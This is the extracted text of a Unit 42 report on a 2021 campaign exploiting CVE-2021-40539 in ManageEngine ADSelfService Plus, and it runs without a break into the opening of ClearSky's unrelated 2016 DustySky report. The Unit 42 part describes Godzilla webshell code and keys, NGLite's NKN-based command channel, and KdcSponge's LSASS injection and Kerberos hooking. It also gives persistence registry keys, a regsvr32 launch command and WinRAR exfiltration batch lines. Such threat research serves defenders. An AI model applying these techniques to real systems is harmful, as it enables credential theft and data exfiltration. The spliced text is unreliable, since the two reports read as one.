Thus, the following debug path exists within the sample and suggests the username pwn was used to create this payload: c:\Users\pwn\documents\visual studio 2015\Projects\payloaddll\Release\cmd.pdb Upon execution, the sample starts off by creating the following generic mutex found in many code examples freely available on the internet, which is meant to avoid running more than one instance of the dropper: cplusplus_me The dropper then attempts to write a hardcoded Godzilla webshell, which we will provide a detailed analysis of later in this report, to the following locations: ../webapps/adssp/help/admin-guide/reports.jsp c:/ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide/reports.jsp ../webapps/adssp/selfservice/assets/fonts/lato/lato-regular.jsp c:/ManageEngine/ADSelfService Plus/webapps/adssp/selfservice/assets/fonts/lato/lato-regular.jsp The dropper then creates the folder APPDATA\ADManager and copies itself to APPDATA\ADManager\ME_ADManager.exe before creating the following registry keys to persistently run after reboot: Software\Microsoft\Windows\CurrentVersion\Run\ME_ADManager.exe : APPDATA\ADManager\ME_ADManager.exe Software\Microsoft\Windows\CurrentVersion\Run\ME_ADAudit.exe : SYSTEM32\ME_ADAudit.exe The dropper then copies ADAudit.exe from the current directory to the following path and runs the file with WinExec: SYSTEM32\ME_ADAudit.exe The dropper does not write the ME_ADAudit.exe file to disk, meaning the threat actor must upload this file to the server prior to the execution of the dropper, likely as part of the initial exploitation of the CVE-2021-40539 vulnerability.
During our analysis of multiple incidents, we found that the ME_ADAudit.exe sample maintained a consistent SHA256 hash of 805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f, therefore suggesting that the actor deployed the same customized version of the NGLite backdoor against multiple targets.
https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2021-40539 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2021-40539 3/11 As mentioned previously, the initial dropper contains a Java Server Page (JSP) webshell hardcoded within it.
Upon analysis of the webshell, it was determined to be the Chinese-language Godzilla webshell V3.00.
The Godzilla webshell was developed by user BeichenDream, who stated they created this webshell because the ones available at the time would frequently be detected by security products during red team engagements.
As such, the author advertises it will avoid detection by leveraging AES encryption for its network traffic and that it maintains a very low static detection rate across security vendor products.
Figure 1.
Detections on VirusTotal for Godzilla webshells.
Its no surprise that the Godzilla webshell has been adopted by regional threat groups during their intrusions, as it offers more functionality and network evasion than other webshells used by the same groups, such as ChinaChopper.
The JSP webshell itself is fairly straightforward in terms of functionality and maintains a lightweight footprint.
Its primary function is to parse an HTTP POST, decrypt the content with the secret key and then execute the payload.
This allows attackers to keep code likely to be flagged as malicious off the target system until they are ready to dynamically execute it.
The below image shows the initial part of the default JSP webshell as well as the decrypt function.
Figure 2.
Header of a default Godzilla JSP webshell.
Of note are the variables xc and pass in the first and second lines of the code shown in Figure 2.
These are the main components that change each time an operator generates a new webshell, and the variables represent the secret key used for AES decryption within that webshell.
When you generate the webshell manually, you specify a plaintext pass and key.
By default, these are pass and key.
https://github.com/BeichenDream/Godzilla/ https://unit42.paloaltonetworks.com/tag/china-chopper/ 4/11 Figure 3.
Godzilla default webshell values.
To figure out how these are presented in the webshell itself, we can take a look at the Godzilla JAR file.
Below, you can see the code substitutes the strings in one of the embedded webshell templates under the /shells/cryptions/JavaAES/GenerateShellLoder function.
Figure 4.
GenerateShellLoder function in Generate.class file.
Thus we know the xc variable in the webshell will be the AES secret key, as indicated in the template.
String xcsecretKey String passpass String md5md5(passxc) We observed that the xc value appears to be a hash, and under the /core/shell/ShellEntity.class file, we can see the code takes the first 16 characters of the MD5 hash for a plaintext secret key.
public String getSecretKeyX() return functions.md5(getSecretKey()).substring(0, 16) With that, we know then that the xc value of 3c6e0b8a9c15224a is the first 16 characters of the MD5 hash for the word key.
Given this, the xc and pass variables are the two primary fields that can be used for tracking and attempting to map activity across incidents.
For the purpose of this blog, we generated a Godzilla webshell with the default options for analysis however, the only differences between the default one and the ones observed in attacks are different xc and pass values.
One important characteristic of this webshell is that the author touts the lack of static detection and has tried to make this file not stand out through avoiding keywords or common structures that might be recognized by security product signatures.
One particularly interesting static evasion technique is the use of a Java ternary conditional operator to indicate decryption.
The conditional here is m?1:2 m is a boolean value passed to this function, as shown previously in Figure 2.
If m is True, then the first expression constant (1) is used.
Otherwise, the second (2) is passed.
Referring to the Java documentation, 1 is ENCRYPT_MODE, whereas 2 is DECRYPT_MODE.
Figure 5.
JavaX crypto constants meaning.
When the webshell executes this function x, it does not set the value of m, thus forcing m to False and setting it to decrypt.
5/11 response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true))) To understand the capabilities of Godzilla then, we can take a look in /shells/payloads/java/JavaShell.class.
This class file contains all of the functions provided to the operator.
Below is an example of the getFile function.
Figure 6.
getFile function payload for Godzilla.
Payload functions: getFile downloadFile getBasicsInfo uploadFile copyFile deleteFile newFile newDir currentDir currentUserName bigFileUpload bigFileDownload getFileSize execCommand getOsInfo moveFile getPayload fileRemoteDown setFileAttr As evidenced by the names of the functions, the Godzilla webshell offers numerous payloads for navigating remote systems, transferring data to and from, remote command execution and enumeration.
These payloads will be encrypted with the secret key previously described, and the operating software will send an HTTP POST to the compromised system containing the data.
Additionally, if we examine the core/ui/component/dialog/ShellSetting.class file (shown below), the initAddShellValue() function contains the default configuration settings for remote network access.
Therefore, elements such as static HTTP headers and User-Agent strings can be identified in order to aid forensic efforts searching web access logs for potential compromise.
private void initAddShellValue() this.shellContext new ShellEntity() this.urlTextField.setText(http://127.0.0.1/shell.jsp) this.passwordTextField.setText(pass) this.secretKeyTextField.setText(key) this.proxyHostTextField.setText(127.0.0.1) this.proxyPortTextField.setText(8888) this.connTimeOutTextField.setText(60000) this.readTimeOutTextField.setText(60000) this.remarkTextField.setText(??)
this.headersTextArea.setText(User-Agent: Mozilla/5.0 (Windows NT 10.0 Win64 x64 rv:84.0) Gecko/20100101 Firefox/84.0\nAccept: text/html,application/xhtmlxml,application/xmlq0.9,image/webp,/q0.8\nAccept-Language: zh-CN,zhq0.8,zh-TWq0.7,zh-HKq0.5,en-USq0.3,enq0.2\n) this.leftTextArea.setText() this.rightTextArea.setText() 6/11 To illustrate, below is a snippet of the web server access logs that show the initial exploit using the Curl application and sending the custom URL payload to trigger the CVE-2021-40539 vulnerability.
It then shows the subsequent access of the Godzilla webshell, which has been placed into the hardcoded paths by the initial dropper.
By reviewing the User-Agent, we can determine that the time from exploit to initial webshell access took just over four minutes for the threat actor.
-
/./RestAPI/LicenseMgr - X.X.X.X Y.Y.Y.Y POST [00:00:00] - - 200 curl/7.68.0 - /help/admin-guide/reports.jsp - X.X.X.X Y.Y.Y.Y POST [00:04:07] - - 200 Mozilla/5.0 (Windows NT 10.0 Win64 x64 rv:84.0) Gecko/20100101 Firefox/84.0 Custom NGLite NGLite is an open-source backdoor written in the Go language (specifically Go version 1.13).
It is available for download from a public GitHub repository.
NGLite is a backdoor Trojan that is only capable of running commands received through its C2 channel.
While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors.
The NKN touts that their decentralized network uses a public blockchain and can support communication between millions of peers, each of which are identified by a unique NKN address instead of the typical network identifiers, such as IP addresses.
Therefore, the immediate IP address that the NGLite tool communicates with in its C2 channel is just a peer in the decentralized network and is unlikely to represent the threat actors network location.
This design makes detection and prevention of the NGLite C2 communication channel difficult.
Fortunately, the use of NKN as a C2 channel is very uncommon.
We have seen only 13 samples communicating with NKN altogether nine NGLite samples and four related to an open-source utility called Surge that uses NKN for file sharing.
Eight of the nine known NGLite samples were scanned by VirusTotal.
Four were undetected, three were detected by one antivirus and the remaining sample was detected by five.
This low detection rate suggests that NGLite had very little antivirus coverage during this attack campaign.
As mentioned in the previous section, the dropper creates registry keys and executes a custom variant of the NGLite backdoor (SHA256: 805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f) saved at the following path: C:\Windows\system32\ME_ADAudit.exe The data structures within the Go-based backdoor contain the following path, which is used to store the main source code for this custom variant of NGLite on the developers system: /mnt/hgfs/CrossC2-2.2/src/ng.com/lprey/main.go Based on this path, one might surmise that the actor used CrossC2 to build a cross platform Cobalt Strike C2 payload however, we have no reason to believe that this payload is actually based on CrossC2, as the payload is a customized version of the publicly available NGLite backdoor.
It is possible that the threat actors included the CrossC2 string in the path as a misdirection, hoping to confuse threat analysts into thinking they are delivering a Cobalt Strike payload.
We have seen the following NGLite samples using this same source code path dating back to Aug. 11, which suggests that this threat actor has been using this tool for several months: 3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd 5b8c307c424e777972c0fa1322844d4d04e9eb200fe9532644888c4b6386d755 3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d The custom NGLite sample used in this campaign checks the command line arguments for g or group value.
If this switch is not present, the payload will use the default string 7aa7ad1bfa9da581a7a04489896279517eef9357b81e406e3aee1a66101fe824 in what NGLite refers to as its seed identifier.
The payload will create what it refers to as a prey id, which is generated by concatenating the MAC address of the system network interface card (NIC) and IPv4 address, with a hyphen (-) separating the two.
This prey identifier will be used in the C2 communications.
The NGLite payload will use the NKN decentralized network for C2 communications.
See the NKN client configuration in the sample below: https://github.com/Maka8ka/NGLite https://github.com/rule110-io/surge https://github.com/gloxec/CrossC2/tree/v2.2/src 7/11 Figure 7.
Embedded NKN client configuration.
The sample first starts by reaching out to seed.nkn[.
]org over TCP/30003, specifically with an HTTP POST request that is structured as follows: Figure 8.
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Initial NKN HTTP POST.
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Initial NKN HTTP POST.
It also will send HTTP POST requests with monitor_03 as the prey id, as seen in the following: Figure 9.
HTTP Post containing prey id.
The seed.nkn[.
]org server responds to this request with the [prey id (MAC-IPv4)] within the JSON structured as follows: id:nkn-sdk-go,jsonrpc:2.0,result: addr:66.115.12.89:30002,id:223b4f7f4588af02badaa6a83e402b33dea0ba8908e4cd6008f84c2b98a6a7de,pubkey:38ce48a2a3cffded7c This suggests the payload will communicate with the peer at 66.115.12.89 over TCP/30003.
The seed.nkn[.
]org server then responds to the monitor_03 request with the following, which suggests the payload will communicate with 54.204.73.156 over TCP/30003: id:nkn-sdk-go,jsonrpc:2.0,result: addr:54.204.73.156:30002,id:517cb8112456e5d378b0de076e85e80afee3c483d18c30187730d15f18392ef9,pubkey:99bb5d3b9b609a31c After obtaining the response from seed.nkn[.
]org, the payload will issue an HTTP GET request to the IP address and TCP port provided in the addr field within the JSON.
These HTTP requests will appear as follows, but keep in mind that these systems are not actor-controlled rather, they are just the first peer in a chain of peers that will eventually return the actors content: 8/11 Figure 10.
NKN peering.
Eventually, the network communications between the custom NGLite client and server are encrypted using AES with the following key: WHATswrongwithUu The custom NGLite sample will start by sending the C2 an initial beacon that contains the result of the whoami command with the string windows concatenated, as seen in the following: [username]windows After sending the initial beacon, the NGLite sample will run a sub-function called Preylistener that creates a server that listens for inbound requests.
The sample will also listen for inbound communications and will attempt to decrypt them using a default AES key of 1234567890987654.
It will run the decrypted contents as a command via the Go method os/exec.
Command.
The results are then encrypted using the same AES key and sent back to the requester.
Post-exploitation Activity Upon compromising a network, the threat actor moved quickly from their initial foothold to gain access to other systems on the target networks by running commands via their NGLite payload and the Godzilla webshell.
After gaining access to the initial server, the actors focused their efforts on gathering and exfiltrating sensitive information from local domain controllers, such as the Active Directory database file (ntds.dit) and the SYSTEM hive from the registry.
Shortly after, we observed the threat actors installing the KdcSponge credential stealer, which we will discuss in detail next.
Ultimately, the actor was interested in stealing credentials, maintaining access and gathering sensitive files from victim networks for exfiltration.
Credential Harvesting and KdcSponge During analysis, Unit 42 found logs that suggest the threat actors used PwDump and the built-in comsvcs.dll to create a mini dump of the lsass.exe process for credential theft however, when the actor wished to steal credentials from a domain controller, they installed their custom tool that we track as KdcSponge.
The purpose of KdcSponge is to hook API functions from within the LSASS process to steal credentials from inbound attempts to authenticate via the Kerberos service (KDC Service).
KdcSponge will capture the domain name, username and password to a file on the system that the threat actor would then exfiltrate manually through existing access to the server.
We know of two KdcSponge samples, both of which were named user64.dll.
They had the following SHA256 hashes: 3c90df0e02cc9b1cf1a86f9d7e6f777366c5748bd3cf4070b49460b48b4d4090 b4162f039172dcb85ca4b85c99dd77beb70743ffd2e6f9e0ba78531945577665 To launch the KdcSponge credential stealer, the threat actor will run the following command to load and execute the malicious module: regsvr32 /s user64.dll Upon first execution, the regsvr32 application runs the DllRegisterServer function exported by user64.dll.
The DllRegisterServer function resolves the SetSfcFileException function within sfc_os.dll and attempts to disable Windows File Protection (WFP) on the c:\windows\system32\kdcsvc.dll file.
It then attempts to inject itself into the running lsass.exe process by: 1.
Opening the lsass.exe process using OpenProcess.
2.
Allocating memory in the remote process using VirtualAllocEx.
3.
Writing the string user64.dll to the allocated memory using WriteProcessMemory.
4.
Calling LoadLibraryA within the lsass.exe process with user64.dll as the argument, using RtlCreateUserThread.
Now that user64.dll is running within the lsass.exe process, it will start by creating the following registry key to establish persistence through system reboots: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\KDC Service : regsvr32 /s user64.dll 9/11 From there, the sample will check to make sure the system is running a Kerberos service by attempting to obtain a handle to one of the following modules: kdcsvc.dll kdccli.dll Kdcsvs.dll KdcSponge tries to locate three undocumented API functions specifically KdcVerifyEncryptedTimeStamp, KerbHashPasswordEx3 and KerbFreeKey using the following three methods: 1.
Identifies the version of Kerberos module and uses hardcoded offsets to API functions to hook.
2.
Reaches out to Microsofts symbol server to find the offset to API functions within Kerberos module and confirms the correct functions by comparing to hardcoded byte sequences.
3.
Searches the Kerberos module for hardcoded byte sequences.
The primary method in which KdcSponge locates the API functions to hook is based on determining the version of the Kerberos module based on the TimeDateStamp value within the IMAGE_FILE_HEADER section of the portable executable (PE) file.
Once the version of the Kerberos module is determined, KdcSponge has hardcoded offsets that it will use to hook the appropriate functions within that version of the module.
KdcSponge looks for the following TimeDateStamp values: 2012-07-26 00:01:13 If KdcSponge was unable to determine the version of the Kerberos module and the domain controller is running Windows Server 2016 or Server 2019 (major version 10), the payload will reach out to Microsofts symbol server (msdl.microsoft.com) in an attempt to find the location of several undocumented API functions.
The sample will issue an HTTPS GET request to a URL structured as follows, with the GUID portion of the URL being the GUID value from the RSDS structure in the IMAGE_DEBUG_TYPE_CODEVIEW section of the PE: /download/symbols/[library name].pdb/[GUID]/[library name].pdb The sample will save the results to a file in the following location, again with the GUID for the filename being the GUID value from the RSDS structure in the IMAGE_DEBUG_TYPE_CODEVIEW section: ALLUSERPROFILE\Microsoft\Windows\Caches\[GUID].db: As mentioned above, we believe the reason the code reaches out to the symbol server is to find the locations of three undocumented Kerberos- related functions: KdcVerifyEncryptedTimeStamp, KerbHashPasswordEx3 and KerbFreeKey.
The sample is primarily looking for these functions in the following libraries: kdcsvc.
KdcVerifyEncryptedTimeStamp kdcsvc.
KerbHashPasswordEx3 kdcpw.
KerbHashPasswordEx3 kdcsvc.
KerbFreeKey kdcpw.
KerbFreeKey If these functions are found, the sample searches for specific byte sequences, as seen in Table 1, to confirm the functions are correct and to validate they have not been modified.
Function Hex bytes kdcsvc.
KdcVerifyEncryptedTimeStamp 48 89 5c 24 20 55 56 57 41 54 41 55 41 56 41 57 48 8d 6c 24 f0 48 81 ec 10 01 00 00 48 8b 05 a5 kdcsvc.
KerbHashPasswordEx3 48 89 5c 24 08 48 89 74 24 10 48 89 7c 24 18 55 41 56 41 57 48 8b ec 48 83 ec 50 48 8b da 48 8b kdcpw.
KerbHashPasswordEx3 48 89 5c 24 08 48 89 74 24 10 48 89 7c 24 18 55 41 56 41 57 48 8b ec 48 83 ec 50 48 8b da 48 8b kdcpw.
KerbFreeKey 48 89 5c 24 08 57 48 83 ec 20 48 8b d9 33 c0 8b 49 10 48 8b 7b 18 f3 aa 48 8b 4b 18 ff 15 72 19 kdcsvc.
KerbFreeKey 48 89 5c 24 08 57 48 83 ec 20 48 8b 79 18 48 8b d9 48 85 ff 0f 85 00 c5 01 00 33 c0 48 89 03 48 If the domain controller is running Windows Server 2008 or Server 2012 (major version 6), KdcSponge does not reach out to the symbol server and instead will search the entire kdcsvc.dll module for the byte sequences listed in Table 2 to find the API functions.
Function Hex bytes kdcsvc.
KdcVerifyEncryptedTimeStamp 48 89 5C 24 20 55 56 57 41 54 41 55 41 56 41 57 48 8D 6C 24 F9 48 81 EC C0 00 00 00 48 8B kdcsvc.
KerbHashPasswordEx3 48 89 5C 24 08 48 89 74 24 10 48 89 7C 24 18 55 41 56 41 57 48 8B EC 48 83 EC 40 48 8B F1 Table 1.
Undocumented functions and byte sequences used by KdcSponge to confirm the correct functions for Windows major version 10.
10/11 kdcsvc.
KerbFreeKey 40 53 48 83 EC 20 48 8B D9 48 8B 49 10 48 85 C9 0F 85 B4 B9 01 00 33 C0 48 89 03 48 89 43 Once the KdcVerifyEncryptedTimeStamp, KerbHashPasswordEx3 and KerbFreeKey functions are found, the sample will attempt to hook these functions to monitor all calls to them with the intention to steal credentials.
When a request to authenticate to the domain controller comes in, these functions in the Kerberos service (KDC service) are called, and the sample will capture the inbound credentials.
The credentials are then written to disk at the following location: ALLUSERPROFILE\Microsoft\Windows\Caches\system.dat The stolen credentials are encrypted with a single-byte XOR algorithm using 0x55 as the key and written to the system.dat file one per line in the following structure: [timestamp]domainusername cleartext password Attribution While attribution is still ongoing and we have been unable to validate the actor behind the campaign, we did observe some correlations between the tactics and tooling used in the cases we analyzed and Threat Group 3390 (TG-3390, Emissary Panda, APT27).
Specifically, as documented by SecureWorks in an article on a previous TG-3390 operation, we can see that TG-3390 similarly used web exploitation and another popular Chinese webshell called ChinaChopper for their initial footholds before leveraging legitimate stolen credentials for lateral movement and attacks on a domain controller.
While the webshells and exploits differ, once the actors achieved access into the environment, we noted an overlap in some of their exfiltration tooling.
SecureWorks stated the actors were using WinRar masquerading as a different application to split data into RAR archives within the Recycler directory.
They provided the following snippet from a Batch file deployed to do this work: echo off c:\windows\temp\svchost.exe a -k -r -s -m5 -v1024000 -padmin-windows2014 e:\recycler\REDACTED.rar e:\ProgramData\REDACTED\ Exit From our analysis of recent attacks on ManageEngine ADSelfService Plus, we observed the same technique with the same order and placement of the parameters passed to a renamed WinRar application.
echo off dir dp0dp0\log.txt dp0\vmtools.exe a -k -r -s -m5 -v4096000 -pREDACTED e:\RECYCLE.BIN\REDACTED.rar E:\Programs\REDACTED\REDACTED Once the files had been staged, in both cases they were then made accessible on externally facing web servers.
The threat actors would then download them through direct HTTP GET requests.
Conclusion In September 2021, Unit 42 observed an attack campaign in which the actors gained initial access to targeted organizations by exploiting a recently patched vulnerability in Zohos ManageEngine product, ADSelfService Plus, tracked in CVE-2021-40539.
At least nine entities across the technology, defense, healthcare, energy and education industries were compromised in this attack campaign.
After exploitation, the threat actor quickly moved laterally through the network and deployed several tools to run commands in order to carry out their post-exploitation activities.
The actor heavily relies on the Godzilla webshell, uploading several variations of the open-source webshell to the compromised server over the course of the operation.
Several other tools have novel characteristics or have not been publicly discussed as being used in previous attacks, specifically the NGLite backdoor and the KdcSponge stealer.
For instance, the NGLite backdoor uses a novel C2 channel involving the decentralized network known as the NKN, while the KdcSponge stealer hooks undocumented functions to harvest credentials from inbound Kerberos authentication attempts to the domain controller.
Unit 42 believes that the actors primary goal involved gaining persistent access to the network and the gathering and exfiltration of sensitive documents from the compromised organization.
The threat actor gathered sensitive files to a staging directory and created password-protected multi-volume RAR archives in the Recycler folder.
The actor exfiltrated the files by directly downloading the individual RAR archives from externally facing web servers.
The following coverages across the Palo Alto Networks platform pertain to this incident: Threat Prevention signature ZOHO corp ManageEngine Improper Authentication Vulnerability was released on Sept. 20 as threat ID 91676.
NGLite backdoor is blocked by Cortex XDRs local analysis.
All known samples (Dropper, NGLite, KdcSponge) are classified as malware in WildFire.
Cortex Xpanse can accurately identify Zoho ManageEngine ADSelfServicePlus, ManageEngine Desktop Central, or ManageEngine ServiceDeskPlus Servers across customer networks.
Table 2.
Undocumented functions and byte sequences used by KdcSponge to locate the sought after functions.
https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/ https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage https://www.paloaltonetworks.com/products/secure-the-network/wildfire 11/11 If you think you may have been impacted, please email unit42-investigationspaloaltonetworks.com or call (866) 486-4842 (866) 4- UNIT42 for U.S. toll free, (31-20) 299-3130 in EMEA or (65) 6983-8730 in JAPAC.
The Unit 42 Incident Response team is available 24/7/365.
Special thanks to Unit 42 Consulting Services and the NSA Cybersecurity Collaboration Center for their partnership, collaboration and insights offered in support of this research.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.
CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.
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Indicators of Compromise Dropper SHA256 b2a29d99a1657140f4e254221d8666a736160ce960d06557778318e0d1b7423b 5fcc9f3b514b853e8e9077ed4940538aba7b3044edbba28ca92ed37199292058 NGLite SHA256 805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f 3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd 5b8c307c424e777972c0fa1322844d4d04e9eb200fe9532644888c4b6386d755 3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d Godzilla Webshell SHA256 a44a5e8e65266611d5845d88b43c9e4a9d84fe074fd18f48b50fb837fa6e429d ce310ab611895db1767877bd1f635ee3c4350d6e17ea28f8d100313f62b87382 75574959bbdad4b4ac7b16906cd8f1fd855d2a7df8e63905ab18540e2d6f1600 5475aec3b9837b514367c89d8362a9d524bfa02e75b85b401025588839a40bcb KdcSponge SHA256 3c90df0e02cc9b1cf1a86f9d7e6f777366c5748bd3cf4070b49460b48b4d4090 b4162f039172dcb85ca4b85c99dd77beb70743ffd2e6f9e0ba78531945577665 Threat Actor IP Addresses 149.248.11[.
]205 199.188.59[.
]192 Registry Keys Software\Microsoft\Windows\CurrentVersion\Run\ME_ADManager.exe Software\Microsoft\Windows\CurrentVersion\Run\ME_ADAudit.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\KDC Service Additional Resources Get updates from Palo Alto Networks Sign up to receive the latest news, cyber threat intelligence and research from us By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.
mailto:unit42-investigationspaloaltonetworks.com https://www.paloaltonetworks.com/cortex/incident-response http://www.cyberthreatalliance.org/ https://www.paloaltonetworks.com/legal-notices/terms-of-use https://www.paloaltonetworks.com/legal-notices/privacy
______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 1of 42 January 2016 Operation DustySky Clearsky clearskysec.com/dustysky TLP:White For public distribution http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 2 of 42 Contents Foreword .............................................................................................................................................................. 3 Acknowledgments ....................................................................................................................................... 3 Tactics, Techniques and Procedures .................................................................................................................... 4 Delivery ........................................................................................................................................................ 4 Lure content and sender identity ................................................................................................................ 5 Phishing ........................................................................................................................................................ 6 Attacks against software developers ........................................................................................................... 7 Post infection ................................................................................................................................................... 9 Abusing breached email account ...............................................................................................................11 Malware analysis ................................................................................................................................................12 DustySky dropper .......................................................................................................................................12 DustySky core .............................................................................................................................................14 DustySky keylogging component ...............................................................................................................15 pdb analysis ...............................................................................................................................................15 Command and control communication ..............................................................................................................16 Traffic examples .........................................................................................................................................16 SSL and digital certificates .........................................................................................................................17 Infrastructure .............................................................................................................................................20 Threat actor and Attribution ..............................................................................................................................23 Infrastructure overlap ................................................................................................................................23 Gaza Strip origins .......................................................................................................................................23 Similar TTPs ................................................................................................................................................24 Individuals ..................................................................................................................................................24 Appendix A - Malicious email messages and lures .............................................................................................25 Appendix B - Indicators.......................................................................................................................................34 http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 3 of 42 Foreword DustySky (called NeD Worm by its developer) is a multi-stage malware in use since May 2015.
It is in use by the Molerats (aka Gaza cybergang), a politically motivated group whose main objective, we believe, is intelligence gathering.
Operating since 2012, the groups activity has been reported by Norman 1, Kaspersky2,3, FireEye4, and PwC5.
This report revolves around a campaign that includes a new malware developed by a member of the group or on behalf of the group.
Based on dozens of known attacks and the vast infrastructure in use - we estimate that a wave of targeted malicious email messages has been sent on a weekly basis.
These attacks are targeted, but not spear-phished.
I.e., malicious email messages are sent to selected targets rather than random mass distribution, but are not tailored specifically to each and every target.
Dozens of targets may receive the exact same message.
The email message and the lure document are written in Hebrew, Arabic or English - depending on the target audience.
Targeted sectors include governmental and diplomatic institutions, including embassies companies from the aerospace and defence Industries financial institutions journalists software developers.
The attackers have been targeting software developers in general, using a fake website pretending to be a legitimate iOS management software, and linking to it in an online freelancing marketplace.
Most targets are from the Middle East: Israel, Egypt, Saudi Arabia, United Arab Emirates and Iraq.
The United States and countries in Europe are targeted as well.
Acknowledgments We would like to thank our colleagues for their ongoing information sharing and feedback, which have been crucial for this research: security researcher Infra PassiveTotal analyst team Tom Lancaster of PwC Team Cymru Security researcher Sebastin Garca Menachem Perlman of LightCyber Other security researchers who wish to remain anonymous.
1 https://github.com/kbandla/APTnotes/blob/master/2012/Cyberattack_against_Israeli_and_Palestinian_targets.pdf 2 http://www.seculert.com/blog/2014/01/xtreme-rat-strikes-israeli-organizations-again.html 3 https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team 4 https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison- ivy.html 5 http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html http://clearskysec.com/ https://www.passivetotal.org/ http://pwc.blogs.com/cyber_security_updates/tom-lancaster/ http://www.team-cymru.org/ http://www.team-cymru.org/ http://www.team-cymru.org/ https://www.researchgate.net/profile/Sebastian_Garcia6 https://github.com/kbandla/APTnotes/blob/master/2012/Cyberattack_against_Israeli_and_Palestinian_targets.pdf https://github.com/kbandla/APTnotes/blob/master/2012/Cyberattack_against_Israeli_and_Palestinian_targets.pdf http://www.seculert.com/blog/2014/01/xtreme-rat-strikes-israeli-organizations-again.html http://www.seculert.com/blog/2014/01/xtreme-rat-strikes-israeli-organizations-again.html https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 4 of 42 Tactics, Techniques and Procedures Delivery The attackers would usually send a malicious email message that either links to an archive file (RAR or ZIP compressed) or has one attached to it.
Below are malicious email messages that have been sent to multiple targets on September and December 2015.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 5 of 42 The link may include these parameters: Id - the ID of the current wave of malicious email messages, composed of a plaintext word, a plus sign, and a number.
For example: Rand281 token1 - same as id, but Base64 encoded token2 - Base64 encoded email address of the target to which the malicious message was sent.
C - the word Click or openexe The following regular expression matches the structure of malicious links: \/[A-Za-z]\.php\?((?:idtoken1token2C)[A-Za-z0-9\/]0,2?
)4 For example: spynews.otzo[.
]com/20151104/Update.php?idredactedtoken1redactedtoken2redactedCCli ck The archive contains an .exe file, sometimes disguised as a Microsoft Word file, a video, or another file format, using the corresponding icon.
For example: Lure content and sender identity If the victim extracts the archive and clicks the .exe file, the lure document or video are presented while the computer is being infected with DustySky.
In recent samples the group used Microsoft Word files embed with a malicious macro, which would infect the victim if enabled.
Note, that these infection methods rely on social engineering - convincing the victim to open the file (and enabling content if it is disabled) - and not on software vulnerabilities.
The subject line of the malicious email message, as well as the name and content of the lure document, are usually related to recent events in diplomacy, defense, and politics.
Sometimes lure topics are gossip or sex related and might even include a pornographic video.
In recent samples, fake invoices and a copy of the public Google privacy policy were used.
The content of the lure document is always copied from a public news item or other web content, and is never an original composition of the attackers.
The from field in malicious messages is usually set to be related to the lure document, such as Latest Israel news, Israeli Hot Stories, Israel Defense Forces, (impersonates the Emirates Policy Center organization6).
6 The center undertakes the task of foreseeing the future of region, regional and international policy trends and the impact of different geopolitical projects on the region.
It aims at providing strategic analysis, policy papers, studies, and research to serve the decision makers at any institution or country in the region with a priority given to UAE.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 6 of 42 When linked from the malicious message, the malware would be hosted either on a cloud service (many times in copy.com, a legitimate file hosting service), or on a server controlled by the attackers.
Phishing When the malware is hosted on a server controlled by the attackers, the User-Agent string of the targets browser is checked when they click the malicious link.
If the target is using Windows, DuskySky is served.
If the operating system is different than Windows, the target is served a Google, Microsoft, or Yahoo phishing page: http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 7 of 42 The source code of the phishing page is made up of a single JavaScript block, which at runtime decodes a single variable into HTML: After the victim fills in and sends the fake login form, they are redirected to a legitimate website.
For example, in one case the victim was redirected to a news item7 in the Israeli news website NRG.
Only the news item was old (from one year prior to the attack) and unrelated to the original subject of the malicious email message.
It was probably used in previous attacks, and the attackers did not care enough or forgot to change it to a relevant one.
Attacks against software developers IP address 45.32.13.169 and all the domains that are pointing to it8 host a webpage which is a copy of a legitimate and unrelated software website - iMazing, an iOS management software.
Screenshot of fake website - imazing[.
